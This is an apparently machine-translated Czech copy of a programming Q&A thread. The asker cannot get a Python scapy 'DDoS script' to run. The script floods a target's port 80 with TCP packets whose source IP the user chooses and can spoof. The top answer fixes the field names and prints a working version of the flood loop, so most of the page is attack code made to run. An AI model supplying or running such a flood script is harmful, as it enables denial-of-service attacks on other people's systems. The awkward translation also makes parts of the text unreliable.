Proč jsem stále AttributeError, když v zahájení `scapy.všechny.IP` s `source_IP argument?

0

Otázka

Zjistil jsem, DDoS skript, který je napsán v pythonu. To je scénář:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
i = i + 1

Ale když jsem jej spustit, dostanu tuto chybu:

Traceback (most recent call last):
  File "/home/kai/DDOS-X/main.py", line 8, in <module>
    IP1 = IP(source_IP = source_IP, destination = target_IP)
  File "/home/kai/.local/lib/python3.9/site-packages/scapy/base_classes.py", line 389, in __call__
    i.__init__(*args, **kargs)
  File "/home/kai/.local/lib/python3.9/site-packages/scapy/packet.py", line 180, in __init__
    raise AttributeError(fname)
AttributeError: source_IP
attributeerror python scapy
2021-11-22 12:06:33
2

Nejlepší odpověď

2

Tato odpověď je jen prodloužení odpověď od @ruohola, on je přímo v novější verzi scapy atribut jména jsou změněna, takže v kódu

  1. source_IP změny src
  2. destination změny dst
  3. srcport změny sport
  4. dstport změny dport

Váš konečný kód

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(src = source_IP, dst = target_IP)
   TCP1 = TCP(dport = 80, sport=source_port)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
i = i + 1

Moje verze scapy je následující

scapy==2.4.5

můžete zkontrolovat váš zadáním následujícího v shellu:

pip freeze | grep "scapy"
2021-11-22 12:53:34
1

Chyba se stane, protože IP třída nebere source_IP argument.

Zdrojový kód pro IP

Zdrojový kód pro Packet.__init__ (IP dědí jeho __init__ z tohoto)

A tady je linka, kde AttributeError je zvýšena: https://github.com/secdev/scapy/blob/36448129bf99e52b0b2117edd1210eecac1dae36/scapy/packet.py#L180

2021-11-22 12:26:45

V jiných jazycích

Tato stránka je v jiných jazycích

Русский
..................................................................................................................
Italiano
..................................................................................................................
Polski
..................................................................................................................
Română
..................................................................................................................
한국어
..................................................................................................................
हिन्दी
..................................................................................................................
Français
..................................................................................................................
Türk
..................................................................................................................
Português
..................................................................................................................
ไทย
..................................................................................................................
中文
..................................................................................................................
Español
..................................................................................................................
Slovenský
..................................................................................................................